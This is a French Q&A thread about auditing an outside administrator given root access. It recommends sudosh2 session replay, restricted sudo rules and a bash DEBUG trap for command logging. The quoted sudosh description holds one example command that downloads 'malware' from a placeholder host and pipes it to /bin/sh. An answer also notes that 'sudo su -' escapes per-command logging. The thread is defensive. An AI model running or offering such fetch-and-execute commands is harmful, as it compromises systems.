Je veux donner accès à mon serveur racine à un administrateur système externe, mais je veux être sûr de vérifier ce qu'il fait sur mon serveur, par exemple en copiant des données que je ne veux pas qu'ils fassent et ainsi de suite. Je voudrais également prendre une trace de tout fichier consulté, même en lecture seule et non modifié.
Comment puis je faire ça?
Réponses:
Faites confiance, mais vérifiez!
Découvrez sudosh2 . sudosh2 est fourni par les ports FreeBSD. Les packages sont disponibles pour RedHat et Ubuntu. Voici la description de leur site Web:
Sudosh vous permettra de rejouer la session de l'utilisateur, ce qui vous permettra de voir toutes les entrées et sorties telles que l'utilisateur les a vues. Vous voyez tout, les frappes, les fautes de frappe, les espaces arrière, ce qu'ils ont édité
vi
, la sortie dewget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh
, etc.Il est possible d'envoyer des journaux sudosh à syslog, afin qu'ils puissent être stockés sur un serveur syslog central loin du système.
Notez que sudosh2 est un remplacement de sudosh, qui a été abandonné par son auteur
Travaillez-vous dans un établissement universitaire où les utilisateurs insistent pour avoir des privilèges de superutilisateur? Ou travaillez-vous dans une entreprise et souhaitez-vous permettre aux utilisateurs d'avoir des privilèges de superutilisateur sur leurs propres machines virtuelles? Cela pourrait être la solution pour vous.
la source
Ne lui donnez pas l'accès root. Au lieu de cela, donnez-lui un compte d'utilisateur non privilégié et demandez-lui de faire tout son travail
sudo
, qui enregistrera toutes ses commandes.Gardez à l' esprit que si cette personne a des intentions mal et vous lui donner pleins privilèges de Sudo, il va trouver un moyen de mener à bien ces mauvaises intentions sans ces commandes sont enregistrées. Dans ce cas, ne lui accordez que l'accès aux commandes spécifiques dont il a besoin pour faire son travail.
la source
sudo su -
et avoir un shell racine qui ne sera pas enregistré (sauf que vous l'avez démarré). C'est ce que je tape normalement lorsque je veux faire plus d'une seule commande en tant que root en une seule fois, ou si je veux que la tabulation soit complétée dans les répertoires que les utilisateurs normaux ne peuvent pas lire.sudo su -
si vous le souhaitez.Je ne connais pas sudosh2, mais j'ai mis ce qui suit dans mon
.bashrc
pour enregistrer toutes les commandes que je tape dans unbash
shell dans le fichier~/.command_log
:Ce qui précède établit un piège
DEBUG
, qui est exécuté juste avant l'exécution d'une commande ordinaire. La fonctioncaller
intégrée est utilisée pour tester si la commande est tapée dans un shell interactif ou exécutée via quelque chose comme.bashrc
. La valeur${BASH_COMMAND}
contient la commande en cours d'exécution.la source